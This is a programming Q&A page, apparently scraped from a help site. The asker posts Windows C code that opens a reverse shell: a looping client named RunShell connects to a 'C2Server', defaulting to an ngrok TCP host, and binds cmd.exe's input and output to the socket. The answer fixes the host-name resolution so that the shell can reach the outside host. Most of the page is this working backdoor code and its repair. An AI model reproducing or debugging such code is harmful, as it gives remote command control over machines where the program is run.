Home > Software design >  How to make C accept ngrok address?
How to make C accept ngrok address?

Time:02-15

I’ve created a simple C program that uses sockets to connect to my other machine. I don’t have windows pro so can’t open port 3389 and I don’t want to download other third party applications as I genuinely want to complete what I have finished.

I’m paying for an ngrok address in the format of: 0.tcp.ngrok.io:12345

The program works fine when using my private IP address - however when I use my ngrok address, it doesn’t work. I can still communicate to my machine via the ngrok address through other means, but it seems as if the program is not communicating with the address at all for some reason. I’m not sure if it’s something to do with the fact there are letters in the address? I don’t know - I’m really stuck on this. I’ll show the code below and I would really appreciate it if someone could tell me if there is something I should be doing to get this to work with the ngrok address - or if there is nothing wrong with it at all and it’s a problem with ngrok..

    #include <winsock2.h>
    #include <windows.h>
    #include <ws2tcpip.h>
    #pragma comment(lib, "Ws2_32.lib")
    #define DEFAULT_BUFLEN 1024


    void RunShell(char* C2Server, int C2Port) {
        while(true) {

            SOCKET mySocket;
            sockaddr_in addr;
            WSADATA version;
            WSAStartup(MAKEWORD(2,2), &version);
            mySocket = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP, NULL, (unsigned int)NULL, 
    (unsigned int)NULL);
            addr.sin_family = AF_INET;

            addr.sin_addr.s_addr = inet_addr(C2Server);  //IP received from main function
            addr.sin_port = htons(C2Port);     //Port received from main function

            //Connecting to Proxy/ProxyIP/C2Host
            if (WSAConnect(mySocket, (SOCKADDR*)&addr, sizeof(addr), NULL, NULL, NULL, 
    NULL)==SOCKET_ERROR) {
                closesocket(mySocket);
                WSACleanup();
                continue;
            }
            else {
                char RecvData[DEFAULT_BUFLEN];
                memset(RecvData, 0, sizeof(RecvData));
                int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
                if (RecvCode <= 0) {
                    closesocket(mySocket);
                    WSACleanup();
                    continue;
                }
                else {
                    char Process[] = "cmd.exe";
                    STARTUPINFO sinfo;
                    PROCESS_INFORMATION pinfo;
                    memset(&sinfo, 0, sizeof(sinfo));
                    sinfo.cb = sizeof(sinfo);
                    sinfo.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
                    sinfo.hStdInput = sinfo.hStdOutput = sinfo.hStdError = (HANDLE) mySocket;
                    CreateProcess(NULL, Process, NULL, NULL, TRUE, 0, NULL, NULL, &sinfo, 
    &pinfo);
                    WaitForSingleObject(pinfo.hProcess, INFINITE);
                    CloseHandle(pinfo.hProcess);
                    CloseHandle(pinfo.hThread);

                    memset(RecvData, 0, sizeof(RecvData));
                    int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
                    if (RecvCode <= 0) {
                        closesocket(mySocket);
                        WSACleanup();
                        continue;
                    }
                    if (strcmp(RecvData, "exit\n") == 0) {
                        exit(0);
                    }
                }
            }
        }
    }
    //-----------------------------------------------------------
    //-----------------------------------------------------------
    //-----------------------------------------------------------
    int main(int argc, char **argv) {
        if (argc == 3) {
            int port  = atoi(argv[2]); //Converting port in Char datatype to Integer format
            RunShell(argv[1], port);
        }
        else {
            char host[] = "0.tcp.ngrok.io";
            int port = 12345;
            RunShell(host, port);
        }
        return 0;
    }

CodePudding user response:

inet_addr() only works with strings in IP dotted notation, not with hostnames. So, inet_addr("0.tcp.ngrok.io") will fail and return -1 (aka INADDR_NONE), thus you are trying to connect to 255.255.255.255:12345. But it will work fine for something like inet_addr("196.168.#.#") (where # are numbers 0..255).

You need to use getaddrinfo() instead to resolve a hostname to an IP address, eg:

// you should do this only once per process, not per loop iteration...
WSADATA version;
if (WSAStartup(MAKEWORD(2,2), &version) != 0)
{
    // error handling...
}

...

addrinfo hints = {}, *addrs;
hints.ai_family = AF_INET;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;

char portBuf[12] = {};
if (getaddrinfo(C2Server, itoa(C2Port, portBuf, 10), &hints, &addrs) != 0)
{
    // error handling...
}

//Connecting to Proxy/ProxyIP/C2Host
SOCKET mySocket = INVALID_SOCKET;
for(addrinfo *addr = addrs; addr; addr = addr->ai_next)
{
    mySocket = socket(addr->ai_family, addr->ai_socktype, addr->ai_protocol);
    if (mySocket == INVALID_SOCKET)
        continue;

    if (connect(mySocket, addr->ai_addr, addr->ai_addrlen) == 0)
        break;

    closesocket(mySocket);
    mySocket = INVALID_SOCKET;
}

freeaddrinfo(addrs);

if (mySocket == INVALID_SOCKET)
{
    // error handling...
}

// use mySocket as needed...

closesocket(mySocket);

...

// you should do this only once per process, not per loop iteration...
WSACleanup();

Just note that because ngrok is an external cloud service, your ngrok hostname will resolve to your ngrok server's public Internet IP address, not its private IP address. If that server machine is behind a router/firewall, you will have to configure the router/firewall to port forward a public IP/port to the server's private IP/port.

  • Related